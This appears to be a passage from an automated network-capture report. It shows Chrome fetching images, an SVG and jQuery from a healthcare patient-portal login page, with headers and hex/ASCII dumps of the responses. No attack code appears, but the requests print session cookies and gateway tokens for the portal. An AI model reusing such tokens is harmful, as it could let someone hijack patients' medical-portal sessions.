5A<AR!X]]UQ+FcP@)5Z#ATt}0w3\|C!Eae=[{5;KN;>C#d6,qOa",A!d{\~8bSj,-V1P&SMs#U7dG"cY
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: 3f 24 56 5c e8 2f 40 1c cf 86 e1 91 03 21 1a 98 dd 4e a4 0c 11 56 9c a9 ef 04 e9 68 23 a9 0f 73 41 11 5b 68 83 88 16 61 70 99 68 74 84 b9 c9 cb 1f aa 72 c1 ca 7c ad 26 b8 ea c8 03 5f b4 d2 8c 82 27 d0 b9 84 ca 24 3a cb 55 89 00 0b 70 49 05 b2 10 86 09 b0 80 5c 83 e2 8b a3 70 52 e9 84 46 e2 61 2c 28 46 21 63 26 9e 18 b2 01 5f 54 c4 cf 19 c9 81 46 be 0f 74 c1 ea 18 3b 04 d9 77 89 b0 92 b6 ac d9 d1 a4 1a 01 56 4e 7a 2a e4 39 77 20 db 08 01 16 26 60 c3 ae 0b 94 cc c2 ed e3 5b 88 97 85 9b 4a f5 cb 8e f0 82 f4 5e 79 69 15 86 d2 b9 31 3b 27 29 74 49 7e 83 7c 4f ee d4 95 11 27 11 3e 53 a7 b9 a6 d0 41 d0 67 72 5c b0 82 35 13 10 ee 82 c5 11 5c 05 66 01 71 1c 13 a2 71 a9 50 82 57 50 ae 0b 96 76 18 42 0c b6 00 2b 8a 08 a7 4b 2a a3 c2 45 0d 80 92 83 69 08 b0 f2 8e 39 Data Ascii: ?$V\/@!NVh#sA[haphtr\|&_'$:UpI\pRFa,(F!c&_TFt;wVNz9w &`[J^yi1;')tI~\|O'>SAgr\5\fqqPWPvB+KEi9
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: ca 28 cc ea 57 0d 91 00 4b 64 a7 9a 27 ce ca ce b1 f1 63 df 77 02 2c 08 3b 66 bb 5e da 0e 5b 9f 7b b4 19 9a b0 a8 00 ab bb b7 fb 5b c7 ed b3 73 62 18 be 32 7e 10 6c d8 f8 38 3b 4f 63 8a 10 11 d6 74 12 5f 5d f7 f1 1b e0 9b 77 7d a3 94 b4 7d 9c b7 6c 39 bc e7 92 15 ac 7d ec 39 b3 61 cc 78 12 a7 ac 5f 9a 28 cb e8 67 4c 80 65 f4 3c 26 b6 32 0c c3 85 cb 5b b1 72 65 69 37 a0 3e 42 04 4d 75 e0 da 62 ed da 3b d1 87 03 ce b2 79 c3 86 87 9a 61 16 13 5e bd f4 28 38 e2 88 c3 d5 1c af 12 9c 60 6d e5 c5 97 98 bd b3 90 f9 f3 e7 c1 79 6f 7d 19 fc c1 ab f2 c5 57 3e c1 55 16 ae 00 2b 72 6f 8d 67 56 ae e2 78 36 0c 8d 1c 08 71 3c 42 e4 53 fe dc 51 e2 9a 15 ea 82 55 58 d0 e3 7b a6 9c d3 f4 fc d0 8d 94 db 42 8e 3b 16 99 ae 02 d9 70 63 05 12 15 2d e8 56 20 83 22 d7 13 4b cf 5d Data Ascii: (WKd'cw,;f^[{[sb2~l8;Oct_]w}}l9}9ax_(gLe<&2[rei7>BMub;ya^(8`myo}W>U+rogVx6q<BSQUX{B;pc-V "K]
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: 55 ba 59 1a 4b 52 37 0a ad f5 e9 c5 46 ec 62 3d 24 84 d3 8b 43 c3 e8 aa 0c 58 fa b3 aa 88 2c eb 2b b6 5b 19 42 0b b7 d8 1c 61 10 32 40 6a fd 60 5b d2 c2 0f c4 75 0c 1a 7d 49 d5 61 65 b1 38 16 89 da 2f 73 10 72 f7 99 ec 8b 93 89 dd dc bf a1 47 5f 84 d0 27 34 fb 23 c2 0d 68 b1 19 20 bd 3a a5 9f 8b 06 73 28 22 07 71 70 9b cd 80 d4 01 1b 09 49 6d 79 d8 b8 40 4f 13 39 17 f4 4c 3c 43 19 8b 4d 4c 03 44 1b 77 fb ba a9 30 dc 8e 93 3c 91 1d 6b 32 de 97 86 31 67 f1 09 70 fa 90 38 cd 76 2f a3 41 75 66 cd 0c a4 ae bf 63 a7 e9 66 0c b0 e9 72 4e 75 70 8e 0a f5 a3 31 fd 8a 9b 1e b7 43 af be 91 1a 76 16 9b 26 79 84 c4 56 f9 f4 9d 6c 32 56 bd 16 6c 45 c3 81 97 cb 99 ad 23 73 21 69 2d 09 b8 2f 29 cf a5 20 ea aa 0d 45 30 e9 3c 42 65 0c 51 de 26 13 61 96 de 9c 54 eb 19 af c6 Data Ascii: UYKR7Fb=$CX,+[Ba2@j`[u}Iae8/srG_'4#h :s("qpImy@O9L<CMLDw0<k21gp8v/AufcfrNup1Cv&yVl2VlE#s!i-/) E0<BeQ&aT
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: 76 09 45 28 8c 51 6e 90 0b 2f 54 89 08 b0 84 4a 19 1a 5a f3 f4 e0 e0 ac 57 94 52 12 c0 5e 18 f1 68 97 b6 4b 16 2f 62 2f c6 55 cb 56 c4 b1 d8 ab 44 ef 92 28 03 75 b7 8c 30 ba 98 3c 79 52 4a 7c 55 02 ea 56 bf 20 54 b5 de bd 55 58 db 15 71 4e a4 b8 d4 29 94 a5 9c f6 69 e3 c0 f0 1b dd 9a fd f3 2e 82 41 70 65 13 2e 71 89 af e2 9a b4 b9 34 23 54 b3 c9 13 16 4d 84 95 ce 40 b9 f2 e6 8b 92 f1 e8 c5 28 0e 93 30 3c dd 49 1c 86 d0 87 5e d1 83 08 32 b1 c9 2a cc d2 de f6 44 e8 d5 31 22 5d ff 9c fd 8c 20 08 4d 5e 7c a3 de 67 fe 8f f5 e3 e3 43 73 e2 d4 fa b8 fd bf 1f f2 52 dc 97 be 63 ff 97 70 15 c6 3c 2e 32 9a ca ae 33 d3 6c 58 fe 55 c6 6a 3a 5b 6b ff 73 92 fa f6 a3 bb 37 ff fd 93 17 fa 98 d2 11 c6 2a 3f fe 53 cb a3 f3 8f 7f b6 8f 7a ef ee 7b c6 bf e7 c5 58 6d 2d 13 f0 Data Ascii: vE(Qn/TJZWR^hK/b/UVD(u0<yRJ\|UV TUXqN)i.Ape.q4#TM@(0<I^2D1"] M^\|gCsRcp<.23lXUj:[ks7?Sz{Xm-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
234	192.168.2.4	50066	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:07 UTC	562	OUT	GET /wp-content/uploads/2020/09/83_Behavioral-Health-Integration.svg HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
2024-04-24 12:45:07 UTC	421	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:07 GMT Content-Type: image/svg+xml Content-Length: 10048 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:18:37 GMT Vary: Accept-Encoding ETag: "64f5a0ed-2740" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:45:07 UTC	10048	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0a 3c 21 2d 2d 20 47 65 6e 65 72 61 74 6f 72 3a 20 41 64 6f 62 65 20 49 6c 6c 75 73 74 72 61 74 6f 72 20 32 34 2e 32 2e 33 2c 20 53 56 47 20 45 78 70 6f 72 74 20 50 6c 75 67 2d 49 6e 20 2e 20 53 56 47 20 56 65 72 73 69 6f 6e 3a 20 36 2e 30 30 20 42 75 69 6c 64 20 30 29 20 20 2d 2d 3e 0a 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 69 64 3d 22 4c 61 79 65 72 5f 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 78 3d 22 30 70 78 22 20 79 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?>... Generator: Adobe Illustrator 24.2.3, SVG Export Plug-In . SVG Version: 6.00 Build 0) --><svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
235	192.168.2.4	50069	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:07 UTC	844	OUT	GET /portal14763/images/newLogin/new-to-portal.png HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:07 UTC	430	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:07 GMT Content-Type: image/png Content-Length: 2462 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:07 GMT Accept-Ranges: bytes ETag: W/"2462-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT Server:
2024-04-24 12:45:07 UTC	2462	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 4b 00 00 00 3c 08 06 00 00 00 2e 69 47 93 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 09 55 49 44 41 54 78 5e ed 9b 7b 70 94 d5 15 c0 cf fd 76 b3 09 c9 6e b2 fb ed 86 64 53 20 bc a4 10 69 d0 52 e9 08 ac 52 0c 4c f1 81 a6 18 d0 80 85 1a 2a 96 61 2c 45 ac fe 81 52 47 19 5a 45 c0 96 b6 33 52 a9 04 db 71 02 9d 5a 04 8a 35 95 0e 20 05 a4 1d 50 13 cb bb 30 92 27 bb df ee e6 c1 26 d9 fd 6e cf dd 64 43 b2 d9 ef b5 8f 2c 74 b9 33 cc 86 fd ce bd f7 dc df 9e 73 ee b9 8f 8f c0 ad a2 9a 00 51 2d 79 4b 10 92 02 ab d9 ed 9e 1c 08 d0 49 14 60 24 50 62 23 44 34 e3 df 66 02 44 0f 40 05 4a 39 27 10 7a 15 ff 7f 59 c7 d1 b3 60 30 9c cd cd ca aa 4b f6 ef 35 28 b0 9a 5c de e9 22 0d cc c3 c1 ce c0 7f 77 44 39 68 Data Ascii: PNGIHDRK<.iGsBIT\|dUIDATx^{pvndS iRRL*a,ERGZE3RqZ5 P0'&ndC,t3sQ-yKI`$Pb#D4fD@J9'zY`0K5(\"wD9h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
236	192.168.2.4	50068	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:07 UTC	851	OUT	GET /portal14763/images/newLogin/download-app-landing.png HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:07 UTC	430	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:07 GMT Content-Type: image/png Content-Length: 2780 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:07 GMT Accept-Ranges: bytes ETag: W/"2780-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT Server:
2024-04-24 12:45:07 UTC	2780	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 4b 00 00 00 3c 08 06 00 00 00 2e 69 47 93 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 0a 93 49 44 41 54 78 5e ed 9b 7b 50 54 d7 19 c0 bf b3 0b 96 00 c2 3e 80 5d 6c 1a b4 be 45 1b 9d 3a 35 38 bc 06 4d 8d 44 f3 4f 58 88 d3 54 01 8d d5 54 a5 6a 8d ef 60 99 16 7c c5 47 44 d3 d4 16 4d 9c 74 2c 6b a6 93 c4 07 56 3a 55 a1 46 ea 0b 1a 21 c1 68 46 1b 0d bb c0 3e 54 10 63 80 db ef 5c f6 e2 ee b2 f7 b5 bb b8 c0 e4 cc 38 97 f5 9e f3 9d ef fc ee 77 be f3 f8 ce 21 f0 7d 92 4c 80 48 ce f9 7d 46 f0 0b ac a4 24 43 0a c3 30 7e 91 e5 fc 4d 94 9d e4 db 33 e7 8c 9f f6 95 ef e4 53 03 53 92 0c 8b b1 21 6f 02 10 7d af 35 88 61 6a 51 fe da 33 95 a5 9f f4 5a 1d 12 05 7b 0d 2b 39 d1 70 9e 10 32 65 e2 a4 78 48 4c 9c Data Ascii: PNGIHDRK<.iGsBIT\|dIDATx^{PT>]lE:58MDOXTTj`\|GDMt,kV:UF!hF>Tc\8w!}LH}F$C0~M3SS!o}5ajQ3Z{+9p2exHL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
237	192.168.2.4	50070	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:07 UTC	857	OUT	GET /portal14763/images/newLogin/view-health-landing-vector.png HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:08 UTC	434	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:07 GMT Content-Type: image/png Content-Length: 114029 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:07 GMT Accept-Ranges: bytes ETag: W/"114029-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT Server:
2024-04-24 12:45:08 UTC	15950	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 42 00 00 01 7e 08 06 00 00 00 6e f7 75 4b 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 20 00 49 44 41 54 78 5e ec bd 07 60 5c 47 b5 3f 7c b6 ef aa 77 c9 96 6d c9 3d 89 ed 34 08 69 f0 0f 0f 48 88 d3 5d d2 ab 9d 80 93 50 1f 2f 40 80 84 96 90 46 20 3d 24 b4 c7 9f 12 3e de fb 3e 20 10 4a 1a 81 38 bd 19 17 d9 72 b7 65 5b 56 ef 2b 6d d5 7e bf 33 73 67 f7 ee d5 dd 22 d9 56 d9 dc 9b ac 77 b5 7b ef 94 33 33 67 7e 73 aa 8d ac 6b 4a 53 20 16 8b 79 d0 81 b9 78 55 e3 35 3c 4e 9d 89 a1 9e 03 78 ed b1 d9 6c d1 b1 d4 89 76 cf 24 8a 9e 80 67 f3 f1 9e 65 bb 1d 36 dc 1f 24 72 34 a0 de 6d 63 a9 77 aa 3e 03 7a 15 13 45 3e 48 64 ab ca 9e 5e 13 d9 5b 07 57 3e 44 14 5e 4f e4 6d c2 78 f1 9c 19 b7 0b f4 b2 a3 b2 0a Data Ascii: PNGIHDRB~nuKsBIT\|d IDATx^`\G?\|wm=4iH]P/@F =$>> J8re[V+m~3sg"Vw{33g~skJS yxU5<Nxlv$ge6$r4mcw>zE>Hd^[W>D^Omx
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: e1 20 80 50 03 80 d0 09 3d ca ce 88 d3 61 b4 02 6c f0 df 9c 76 83 5f ec 2e 2f fe c3 bb 02 58 1d 10 fb ec 85 44 88 45 4d 0c 74 d8 8d 9d ed 84 38 df 18 7b 70 71 6e 32 06 3a 9c 5b 6c 08 b1 2d 6a 61 eb d3 8a 67 fa 01 58 4e 17 40 88 f3 98 45 85 14 88 f3 99 55 22 1d 07 e3 1d 5e 69 9c 44 75 21 74 f7 25 f8 8e 8d b0 21 70 82 7d 50 4c 48 ac 38 07 1a 07 cf 66 3b 22 ae 7f 2e 8c a7 39 f3 3d 1b 56 9f 08 d7 7a eb b2 28 60 51 c0 a2 40 ae 52 40 01 21 87 6f b8 ad 20 bf d0 17 0c 20 80 26 62 3e b1 db bc 54 89 71 90 5d 99 85 3e 9d fb bc e2 e5 ca 46 e8 ce 3b ef a4 ad 5b b7 d2 a7 3f 75 03 ad 5c 79 d1 1f 2b ca ca 6e 42 06 fa 16 b9 af c4 81 90 30 88 c2 b3 9c 8c d5 ba 26 39 05 72 0a 08 ed 6d 6e 17 aa b1 c7 1e 7b 4c 00 a1 bb ee ba 47 48 84 58 37 2c 2c 74 a4 e0 27 ee 25 c6 aa b1 04 Data Ascii: P=alv_./XDEMt8{pqn2:[l-jagXN@EU"^iDu!t%!p}PLH8f;".9=Vz(`Q@R@!o &b>Tq]>F;[?u\y+nB0&9rmn{LGHX7,,t'%
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: bc fa d7 3d b3 06 84 7a bb 5b d1 eb 31 c3 d3 5d 03 8f 3e 0e 89 2a 17 8e b4 fb 90 91 c0 2c a0 38 33 7a 06 06 a0 73 59 d0 e1 54 e1 fc 45 e9 a8 6b 73 63 41 e1 f4 81 90 10 3d 3f c1 f2 1a 53 a9 31 36 de f3 73 53 4a 3e ae 49 ce 9b b4 d7 c8 d8 73 59 c9 08 fd a5 e2 08 4a 0b f2 d1 dd dd 02 bf 3e 19 f1 04 15 cd fd d4 27 71 4a 2c a5 ff 53 f5 d1 3a b2 56 3e 64 51 d6 92 46 60 74 36 80 50 fd a1 fd e8 b2 7a 60 8e 35 62 88 80 27 3e 8f 3e 41 7d ed 30 17 14 a3 e7 68 15 3c 0c dd 9a 53 4b 81 c1 46 f4 0e 7a 61 30 1b e9 73 a5 85 9d 0c 89 29 d1 80 e6 61 0b b2 38 be 9d cd c3 c8 2d 31 a2 dd a6 c2 f2 82 c9 0b cb 2b 29 78 fe c5 c1 5e 66 f6 4d 7f 15 13 76 3e 0f 14 33 63 2c 6d fa 82 5b eb 50 2f de 39 dc 86 e2 14 3d 78 cb dc 60 10 e4 b9 ad e8 19 71 80 d6 19 58 bb b0 00 9f 1e 38 8c 83 Data Ascii: =z[1]>*,83zsYTEkscA=?S16sSJ>IsYJ>'qJ,S:V>dQF`t6Pz`5b'>>A}0h<SKFza0s)a8-1+)x^fMv>3c,m[P/9=x`qX8
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: f8 69 8a 40 48 94 d8 08 00 21 66 8d 89 5a 63 4e ae f3 22 6b 8c 59 f1 1e a1 8b 1a d5 08 8d 21 85 a4 3e f7 d1 5f 4e da a4 10 88 09 c3 cd 17 28 96 de 4a fb 13 09 08 7d e5 1e 24 a5 4d 0e 08 9d 71 20 fd 68 e5 cf 6b 20 f7 1f e4 27 1e e3 2e f3 b0 cc a7 ec 54 aa d1 11 2b 93 f5 cf ea 24 f8 9c 9f 3c d2 80 50 ec be aa 83 ff fe da ab af 3f 24 18 a1 1b 6f be 59 12 4b 8b 09 2e 1e 00 e1 ea 1a 00 43 22 63 2c 60 a8 28 15 62 15 1e 3f 3c 48 25 e3 cb 88 21 23 8f ca 78 a2 e8 aa c2 4b 9d 84 0f 2a a6 cf cb 08 84 44 ad b1 84 d4 12 3c 76 eb 45 e8 61 3a a8 b1 b4 00 4b e5 c3 28 6f f5 e2 ea 7c 2d 36 bf 55 81 eb af 5a 86 4f fe fc 21 f2 8b 17 a2 8e a6 6b 6e a3 19 eb 96 97 a0 f5 68 13 1a 08 a2 32 15 36 b2 2f 56 5c 5c 9c 8d bf 74 0c 23 9f 00 a4 a6 a3 1d 6b ca 52 10 63 2e c6 07 ef d1 bd Data Ascii: i@H!fZcN"kY!>_N(J}$Mq hk '.T+$<P?$oYK.C"c,`(b?<H%!#xK*D<vEa:K(o\|-6UZO!knh26/V\\t#kRc.
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: 99 ae c2 71 ff b4 11 a1 f4 b6 86 f8 08 f5 fb 19 fe 43 9c a5 c5 61 54 45 93 29 3b 89 70 09 c9 ef 0c a0 e1 2f 52 7f 63 63 a3 d2 08 89 b9 4c a2 c6 d6 6f dc 80 ac 1c 8d 47 88 31 c8 18 30 e4 19 33 7d 84 e6 d7 38 f1 b7 66 38 d9 69 8b 67 7f f5 84 b6 2e ea 4d 63 fe 10 7a 49 c4 ea e0 26 73 4d 55 75 ed af 5f 7b ed b5 e4 6f 7f fb db d8 b8 71 a3 32 8d 39 9d 6e 2e 66 dd 8a 50 51 cf 40 1f 16 08 71 30 4b 48 a5 62 96 26 f8 51 a1 f3 9c 00 56 3a 4d bb 5c e4 11 a2 8f d0 ce 08 b3 cf cf cb 61 30 cf 1b 95 c4 b4 0d 3f 7f e4 6b 04 42 89 f3 bc a5 e3 37 6f ac 10 5c b5 d9 b2 18 c1 77 54 bf e8 02 6b bc 9e 57 ca f8 5a d2 67 f2 23 3c 64 66 99 7f 12 10 50 e2 22 10 1a 8b 04 51 80 50 4f 4b 9b 72 96 1e f2 1f 44 06 fa 19 3e ef 5f eb 87 25 6a 2c 40 81 18 0e 08 11 e4 90 6f 48 f3 11 6a c1 97 Data Ascii: qCaTE);p/RccLoG103}8f8ig.MczI&sMUu_{oq29n.fPQ@q0KHb&QV:M\a0?kB7o\wTkWZg#<dfP"QPOKrD>_%j,@oHj
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: 9f 84 a5 c7 29 94 cc d5 08 05 95 73 82 1d 18 88 30 c6 02 81 9b 0a 25 45 db 24 d8 59 55 0a 8c 70 4d 2b 39 ca e2 1e ff b4 52 a5 8d bc ab be 01 aa 68 3f 00 01 45 85 f2 fd da d7 be e6 42 1d 37 09 e6 e5 d6 ac 1e 2e 1c b9 ec a0 37 7d c8 d6 07 59 08 68 07 d7 01 59 f4 91 f2 d9 c1 81 4b 04 40 8c 02 8c 5d 1d b8 e9 22 46 03 9a 21 a4 51 0c f4 1f e5 24 80 a3 b1 ce 40 08 ba 51 3f 8a 11 fa 08 e0 51 86 84 36 e3 44 d9 5a 71 ab ff 94 2f 6b 1d fd 53 1f 32 00 17 58 62 9c a1 9f 14 82 2c 07 d4 27 8b a0 fa 08 cd f9 50 bf 56 fd b4 87 76 66 6b 8a f8 53 20 83 e7 8f 3e fa e8 81 05 82 76 53 16 0a 03 3a 69 d5 cf 5f da 22 eb 11 df 69 3b 34 8d f8 14 40 e8 72 1f 3b 81 dd 38 1f 2a 76 e7 1c 6c 31 73 8a 45 b9 f2 ca 2b 7c 4c 02 70 4e 97 94 15 61 15 a5 6e da 28 40 2a d0 a9 b9 45 1f f9 2e 80 Data Ascii: )s0%E$YUpM+9Rh?EB7.7}YhYK@]"F!Q$@Q?Q6DZq/kS2Xb,'PVvfkS >vS:i_"i;4@r;8vl1sE+\|LpNan(@E.
2024-04-24 12:45:08 UTC	16159	IN	Data Raw: d4 1d 53 3b 97 59 de a0 15 b6 65 d7 a2 a3 33 0a df b7 c9 f3 05 42 79 f2 48 c8 2b b8 4e 56 16 81 0f 99 7a 11 76 0a c8 5d b7 ee 20 fb 1e d6 81 1c e4 9b 05 bb 40 4b 16 f2 79 92 ca 8a 41 99 94 4d 59 4c be 5c 8f 5c 81 b5 e5 2b 03 c1 0c b4 04 58 64 a9 60 45 a3 7e 08 48 46 a2 b8 b0 80 65 d7 1e e5 64 c0 d5 c7 51 19 a8 e4 c9 2f 45 44 7f 10 1c ac a8 a0 a5 f2 a5 64 13 bc ca ae 01 5c 06 5c 35 20 ca 96 16 09 16 8d a3 56 b4 08 50 5c 3a 08 69 05 e5 ae 35 6b 00 87 46 b2 3d dc 2d 67 e4 86 29 8a c5 c1 0d 02 99 dd 5d 25 00 b7 0b 54 aa be 1a 80 8b f6 b2 50 d6 40 28 03 ed ae 72 bd bf 28 f2 11 d3 37 ac 2c e5 01 c7 1b b1 d2 f4 0f d7 cb ca b8 73 22 97 e7 86 94 03 ca be 94 41 bd 5e 44 0a a2 ad c7 b4 a6 f5 40 a3 56 15 0e 81 a0 0a fc f7 b7 8d be 05 0d 32 1f d7 ee 87 fa fd 00 42 41 Data Ascii: S;Ye3ByH+NVzv] @KyAMYL\\+Xd`E~HFedQ/EDd\\5 VP\:i5kF=-g)]%TP@(r(7,s"A^D@V2BA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
238	192.168.2.4	50071	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:07 UTC	790	OUT	GET /portal14763/script/newui/js/jquery-3.5.1.min.js?q=2 HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:08 UTC	461	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:07 GMT Content-Type: text/javascript Content-Length: 89476 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:07 GMT Accept-Ranges: bytes ETag: W/"89476-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT vary: accept-encoding Server:
